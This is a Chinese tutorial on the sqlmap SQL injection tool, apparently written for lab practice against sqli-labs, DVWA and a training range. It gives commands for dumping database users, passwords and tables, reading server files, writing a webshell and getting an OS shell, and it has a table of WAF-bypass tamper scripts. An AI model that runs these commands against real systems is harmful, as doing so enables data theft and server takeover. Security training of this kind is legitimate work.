> 文章列表 > sqlmap工具

sqlmap工具

sqlmap工具

sqlmap

  • Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库

  • Sqlmap采用了以下5种独特的SQL注入技术

    • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
    • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
    • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
    • 联合查询注入,在可以使用Union的情况下注入
    • 堆查询注入,可以同时执行多条语句时的注入

基础参数

测试信息展示(-v 0)(mozhe靶场)

  • 测试时,可以使用 -v 等级 参数指定回显信息的复杂度,其范围为[0~6],共有 7 个等级,默认为 1

    0:只显示python错误以及严重的信息
    1:同时显示基本信息和警告信息(默认)
    2:同时显示debug信息
    3:同时显示注入的payload
    4:同时显示HTTP请求
    5:同时显示HTTP响应头
    6:同时显示HTTP响应页面
    
    • 如果想看到 sqlmap 发送的测试 payload 最好的等级就是3
    • 没思路时也可以借鉴工具构造的payload扩展思路
    • python sqlmap.py -u "http://219.153.49.228:45269/new_list.asp?id=2" -v 3

    sqlmap工具

  • 使用–batch会自动选项默认的选项执行,但可能会触发防火墙的告警

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --batch

    sqlmap工具

根据文本判断是否存在注入(-r 1.txt)(mozhe靶场)

  • 将一个 HTTP 请求保存在文件中,使用参数-r加载该文件,其会解析该文件并发送请求,一般用于表单提交时的注入等发送数据复杂时的情况

  • 当请求是HTTPS的时候需要配合–force-ssl参数来使用,或者可以在host头后面加上:443

  • 将数据包存放到txt文件中,随后使用命令执行

    • python sqlmap.py -r zxgtwy.txt

    sqlmap工具

探测等级选择(–level 1)

  • 参数–level 等级 可以选择需要执行的测试等级,一共有5个等级[1-5],不加 level 默认是1。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。等级越高,执行的时间也会增长

  • 该参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie 在 level 为2时就会测试,HTTP User-Agent/Referer 头在 level 为3时就会测试。level为5时会检测Host是否存在注入漏洞。当在不确定哪个 payload 或参数为注入点时,为了保证全面性,建议使用高的 level 值

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-19/" --level 3

    sqlmap工具

运行自定义SQL语句(–sql-shell)

  • 使用–sql-shell参数可以开启交互式SQL语句执行环境

    • python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id=1 --sql-shell

    sqlmap工具

获得数据库管理员角色(–roles)

  • 使用–roles参数可以列出数据库管理员角色,如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --roles

    sqlmap工具

上传文件到目标系统(–file-write & --file-dest)(本机演示)

  • 使用–file-write & --file-dest参数可以上传文件到目标系统(一般用来写shell,仅当数据库管理系统是MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有写入文件相关权限),上传的文件可以是文本,也可以是二进制文件。其中 --file-dest后跟目标机地址,–file-write后跟本机要上传文件的地址

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --file-write "D:\\1.txt" --file-dest "D:\\phpstudy_pro\\WWW\\zxgtwy.php"

    sqlmap工具

获取多个扫描目标(-m 文件路径)

  • 使用-m参数,会使SQLmap将文本中的url一个一个检测

    • python sqlmap.py -m D:\\dizhi.txt

    sqlmap工具

选择测试参数(-p与–skip)

  • 使用-p参数可以指定需要测试的参数,且不受–level限制

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" -p "id"

    sqlmap工具

  • 使用–skip参数可以指定不需要测试的参数

    • 比如当–level 3时不想测试user-agent
    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --level 3 --skip="user-agent"

    sqlmap工具

  • 指定参数时还可以用 *,在参数上加 *与 -p效果相同,只不过 *还可以支持伪静态页面比如:/user/2/这个伪静态页面,参数为2,则可以使用如下方法测试

    • python sqlmap.py -u "http://127.0.0.1/user/1*/"

并发线程测试(–threads)

  • 当测试量大时,可使用参数–threads来增加线程数,加快速度,最多设置10

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-19/" --data="uname=123&passwd=123&submit=Submit" --threads 5

    sqlmap工具

风险等级设置(–risk)

  • 参数–risk可设置风险等级,共有1~4共四级,默认为1,不推荐使用 risk >= 3的风险等级

  • 风险等级2添加了基于时间的注入测试,等级3怎加 OR语句的SQL测试。若注入点是在 UPDATE 语句中,使用 OR 测试可能会修改整个表的数据

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-10/?id=1" --risk 2

    sqlmap工具

列举数据库相关信息(-b或–banner)

  • 参数-b或–banner可以列举数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" -b

    sqlmap工具

扫描方案

测试漏洞

  • 对于直接访问的网站,使用-u指定其URL即可测试是否有注入的可能(用sqli靶场演示)

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1"
    • 中间会有各种提示选项,根据自身需求选择即可,最终结果如下

    sqlmap工具

  • 对于登陆后才可访问到的信息,使用–cookie添加cookie(用dvwa靶场演示)

    • python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1" --data="Submit=Submit#" --cookie="你的cookie值"
    • 中间会有各种提示选项,根据自身需求选择即可,最终结果如下

    sqlmap工具

  • 对于POST类型则需要在–data中添加信息(用sqli靶场演示)

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-11/" --data="uname=1&passwd=1&submit=Submit"

    sqlmap工具

获取信息(mozhe靶场)

  • 使用–users查看数据库用户

    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --users

    sqlmap工具

  • 使用–passwords查看数据库用户密码

    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --passwords

    sqlmap工具

  • 使用–current-user查看当前用户

    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --current-user

    sqlmap工具

  • 使用–is-dba判断当前用户是否具有管理员权限

    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --is-dba

    sqlmap工具

  • 使用–dbs查看所有数据库

    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --dbs

    sqlmap工具

  • 使用–current-db查看当前数据库

    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --current-db

    sqlmap工具

  • 使用-D指定数据库,–tables获取表信息

    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" -D mozhe_Discuz_StormGroup --tables

    sqlmap工具

  • 使用-D指定数据库,-T指定表,–columns获取列信息

    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" -D mozhe_Discuz_StormGroup -T StormGroup_member --columns

    sqlmap工具

  • 配合–dump-all获取所有信息

    • -D xx -T xxx --dump-all 可爆出数据库xx中的xxx表中的所有数据
    • -D xx --dump-all 可爆出数据库xx中的所有数据
    • –dump-all 可爆出当前数据库中的所有数据
    • python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" -D mozhe_Discuz_StormGroup -T StormGroup_member --dump-all

    sqlmap工具

绕过WAF(–tamper=脚本)

  • 可配合前篇文章介绍的waf00f来判断对方有无防火墙
  • 使用waf00f得知防火墙类型后,可配合–tamper脚本来绕过,在tamper下有官方提供的脚本
    • python sqlmap.py -u "地址" --tamper=脚本

读取服务器文件(–file-read 文件)

  • MySQL、PostgreSQL或SQL Server,在当前用户权限足够时,可读取指定文件

  • 例如:读取目标服务器D盘的gt.txt文件:

    • python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --file-read "D:/gt.txt"

    sqlmap工具

其它参数

  • 参数–force-ssl强制使用 SSL,在测试 HTTPS 的网站时推荐使用该参数,可能会测出未加该参数时测不出的注入
  • 参数-l 值可以从Burp或者WebScarab代理中获取日志,进行测试
  • 参数–user-agent 值 可以修改请求中的头部信息,–random-agent可以随机从目录下的user-agents.txt中获取头部
  • 参数–host 值,可以设置host头的值
  • 参数–referer 值 ,可以伪造referer信息
  • 参数–headers 值 ,可以自定义头部值
  • 参数–proxy 代理地址 ,可以设置代理信息,当代理需要认证可以在使用–proxy-cred username:password
  • 参数–delay 时间,可以设定两个请求间的延迟,默认无延迟单位是秒
  • 参数–timeout 时间,可以设定请求判断超时的时间,默认为30秒
  • 参数–retries 参数,可以设定重新尝试连接次数,默认是3次
  • 参数–safe-url 地址,提供一个安全不错误的连接,每隔一段时间都会去访问一下
  • 参数–safe-freq 地址,提供一个安全不错误的连接,每次测试请求之后都会请求一次安全连接
  • 参数–keep-alive使得sqlmap使用持久连接
  • 参数–null-connection可以用在盲注来区分true/false响应
  • 参数–count可以获取表中的数据个数而不是内容
  • 参数–common-tables是当–tables无法获取到数据库的表时,可以使用此参数暴力破解表名
  • 参数–common-columns是当–columns无法获取到数据库的列名时,可以使用此参数暴力破解
  • 参数–udf-inject,–shared-lib来完成用户自定义函数注入
  • 参数–os-shell在得知网站绝对路径后可以写入shell
  • 参数–beep为发现sql注入时,发出蜂鸣声
  • 参数-hpp可以使用HTTP参数污染
  • 参数–identify-waf可以测试WAF/IPS/IDS保护,方便用户做出绕过方式
  • 参数–check-waf可以测试WAF/IPS/IDS保护,方便用户做出绕过方式
  • 参数–wizard是面向初级用户的参数,会教如何输入

脚本介绍

脚本名称 注释 通过测试的数据库
0eunion.py 使用e0UNION替换UNION MySQL、MsSQL
apostrophemask.py 将单引号字符(‘)替换为UTF-8全宽对应字符(例如:’ -> %EF%BC%87),可用于单引号被过滤情况下
apostrophenullencode.py 将单引号字符(‘)替换为非法的双unicode对应字符(例如:’ -> %00%27)。就是将单引号替换为宽字节 unicode 字符,可用于过滤了单引号的情况
appendnullbyte.py 在payload后追加一个空字符 Microsoft Access
base64encode.py 将payload中所有字符替换成base64编码格式
between.py 将大于符号和等号用BETWEEN语句替换,可用于过滤了大于符号和等号的情况 Microsoft SQL Server 2005 |MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0
binary.py 尝试将关键字转换为二进制来绕过检测 MySQL
bluecoat.py 将SQL语句后的空格字符替换为随机的有效空白字符。之后用LIKE操作符替换字符’=’ MySQL 5.1, SGOS
chardoubleencode.py 对给定payload进行两次url编码(不处理已经编码的字符)
charencode.py 对给定payload进行url编码(不处理已经编码的字符) Microsoft SQL Server 2005 |MySQL 4, 5.0 and 5.5 |Oracle 10g|PostgreSQL 8.3, 8.4, 9.0
charunicodeencode.py 进行unicode编码,需要ASP|ASP.net Microsoft SQL Server 2000|Microsoft SQL Server 2005|MySQL 5.1.56|PostgreSQL 9.0.3
charunicodeescape.py 以指定的payload反向编码未编码的字符(不处理已经编码的字符)
commalesslimit.py 将MySQL payload中LIMIT语句替换,LIMIT X,Y==>LIMIT Y OFFSET X MySQL 5.0 and 5.5
commalessmid.py 将MySQL payload的MID(X,Y, Z)替换成MID(X FROM Y FOR Z) MySQL 5.0 and 5.5
commentbeforeparentheses.py 在括号前加上/**/内联注释 Microsoft SQL Server|MySQL|Oracle|PostgreSQL
concat2concatws.py 将MySQL payload中CONCAT语句替换CONCAT(X,Y)==>CONCAT_WS(MID(CHAR(0), 0, 0), X,Y) MySQL 5.0
decentities.py 使用十进制HTML编码编码所有字符
dunion.py 将 UNION用DUNION替代 Oracle
equaltolike.py 使用“LIKE”运算符替换全部等于号“=” Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5
equaltorlike.py 使用“RLIKE”运算符替换全部等于号“=” MySQL 4, 5.0 and 5.5
escapequotes.py 斜杠转义单引号和双引号' -> \\'
greatest.py 将大于运算符(‘>’)替换为对应的’GREATEST’ MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0
halfversionedmorekeywords.py 当数据库为MySQL时绕过防火墙,在每个关键字之前添加(MySQL)版本注释 MySQL 4.0.18, 5.0.22
hex2char.py 当数据库为MYsql时,将0x 用CONCAT(CHAR(),…)替代 MySQL 4, 5.0 and 5.5
hexentities.py 将所有字符按照十六进制HTML字符实体编码
htmlencode.py 将payload中非字母非数字字符进行HTML编码
if2case.py 将“IF(A,B,C)”替换为“CASE WHEN(A)THEN(B)ELSE(C)END” MySQL 5.0 and 5.5|SQLite (possibly)|SAP MaxDB (possibly)
ifnull2casewhenisnull.py 将 ‘IFNULL(A, B)’ 替换为 ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ MySQL 5.0 and 5.5|SQLite (possibly)|SAP MaxDB (possibly)
ifnull2ifisnull.py 将’IFNULL(A, B)'替换为 ‘IF(ISNULL(A), B, A)’ MySQL 5.0 and 5.5|SQLite (possibly)| SAP MaxDB (possibly)
informationschemacomment.py 在"information_schema"后面加上内联注释/**/ MYSQL
least.py 将">" 替换成’LEAST’ MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0
lowercase.py 用小写值替换每个关键字字符 Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0
luanginx.py LUA-Nginx WAFs Bypass
misunion.py 将UNION 用 -.1UNION替换 MySQL
modsecurityversioned.py 过滤空格时,用注释包含完整的查询 MySQL 5.0
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询 MySQL 5.0
multiplespaces.py 添加多个空格在SQL关键字周围
ord2ascii.py 用ASCII()调用替换ORD() MySQL
overlongutf8.py 将给定Payload中的所有(非字母数字)字符转换为超长UTF8(不处理已编码字符)
overlongutf8more.py 将给定Payload中的所有字符转换为超长UTF8(不处理已编码字符)
percentage.py 每个字符前添加%,Requirement: ASP Microsoft SQL Server 2000, 2005|MySQL 5.1.56, 5.5.11|PostgreSQL 9.0
plus2concat.py 将加号替换为concat函数 Microsoft SQL Server 2012+
plus2fnconcat.py 将加号替换为ODBC函数{fn CONCAT()} Microsoft SQL Server 2008+
randomcase.py 随机转换每个关键字字符的大小写 Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0|SQLite 3
randomcomments.py 向SQL关键字中随机插入注释
schemasplit.py 将FROM模式标识符(例如“testdb.users”)与空白(例如“Testdb 9.e.users”)分开 MySQL
scientific.py 滥用MySQL科学符号 MySQL
sleep2getlock.py 将“SLEEP(5)”等实例替换为像“GET_LOCK(‘ETgP’,5)” MySQL 5.0 and 5.5
sp_password.py 该脚本的作用是在payload的后面添加关键字“sp_password”,使得查询不会记录到日志中 MSSQL
space2comment.py 用注释/**/替换空格字符 Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0
space2dash.py 将空格替换为“–”加随机字符串和一个换行符替换 MSSQL|SQLite
space2hash.py 将空格替换为“#”加随机字符串和一个换行符替换 MySQL 4.0, 5.0
space2morecomment.py 将空格用/**_**/替换 MySQL 5.0 and 5.5
space2morehash.py 将空格用“#”加一个随机字符串再加一个换行符替换MySQL >= 5.1.13 MySQL 5.1.41
space2mssqlblank.py 空格替换为其它空符号 Microsoft SQL Server 2000|Microsoft SQL Server 2005
space2mssqlhash.py 将空格用“#”和一个换行符替换 MSSQL|MySQL
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 MySQL 5.1
space2mysqldash.py 替换空格字符为’–‘后跟一个’\\n’ MySQL|MSSQL
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0
substring2leftright.py 用LEFT和RIGHT替换PostgreSQL的SUBSTRING PostgreSQL 9.6.12
symboliclogical.py AND和OR替换为&&和||
unionalltounion.py 将union all select替换为union select
unmagicquotes.py 宽字符绕过GPC
uppercase.py 将关键字全部替换为大写值 Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字 MySQL 4.0.18, 5.1.56, 5.5.11
versionedmorekeywords.py 用MySQL注释包围每个关键字,MySQL >= 5.1.13 MySQL 5.1.56, 5.5.11
xforwardedfor.py 添加伪造的HTTP头“X-Forwarded-For”

参考链接

  • https://www.cnblogs.com/bmjoker/p/9326258.html
    |
    | versionedkeywords.py | 用MySQL注释包围每个非函数关键字 | MySQL 4.0.18, 5.1.56, 5.5.11 |
    | versionedmorekeywords.py | 用MySQL注释包围每个关键字,MySQL >= 5.1.13 | MySQL 5.1.56, 5.5.11 |
    | xforwardedfor.py | 添加伪造的HTTP头“X-Forwarded-For” | |

参考链接

  • https://www.cnblogs.com/bmjoker/p/9326258.html
  • https://blog.csdn.net/Gherbirthday0916/article/details/126857683